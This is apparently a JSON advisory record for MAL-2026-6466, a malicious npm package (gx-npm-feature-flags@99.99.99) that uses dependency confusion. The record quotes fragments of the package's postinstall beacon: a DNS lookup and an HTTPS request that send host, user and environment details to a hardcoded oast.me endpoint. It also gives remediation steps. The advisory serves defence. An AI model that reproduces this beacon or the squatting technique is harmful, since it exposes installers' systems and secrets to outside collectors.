{"answers":{"affected":"1 open source package ship an affected version, including gx-npm-feature-flags.","exploited":"There is no known exploitation of MAL-2026-6466 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6466 is a malicious package in gx-npm-feature-flags, published on 25 Jun 2026."},"fix_prompt":"MAL-2026-6466 is a malicious package: gx-npm-feature-flags (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6466/ (Markdown: https://insights.sbomify.com/MAL-2026-6466/index.md)","id":"MAL-2026-6466","markdown":"https://insights.sbomify.com/MAL-2026-6466/index.md","name":"MAL-2026-6466","record":{"aliases":["GHSA-hhw7-23r7-qwj7"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"gx-npm-feature-flags@99.99.99 is a dependency-confusion squat (max-semver `99.99.99` on a `gx-`-prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. `package.json` declares `postinstall: node beacon.js`. beacon.js collects the installer's OS hostname (`os.hostname()`), OS user (`os.userInfo()` / `process.env.USER`), current working directory (`process.cwd()`), package name, Node version, and the first 80 environment-variable names (`process.env`), then exfiltrates via two channels to a hardcoded `*.oast.me` endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (`dns.lookup('\u003cpkg\u003e.\u003chost\u003e.\u003cuser\u003e.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')`), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (`path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))`). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\nThe OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in gx-npm-feature-flags (npm)","id":"MAL-2026-6466","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"gx-npm-feature-flags","purl":"pkg:npm/gx-npm-feature-flags","source":"MAL-2026-6466"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6466/"}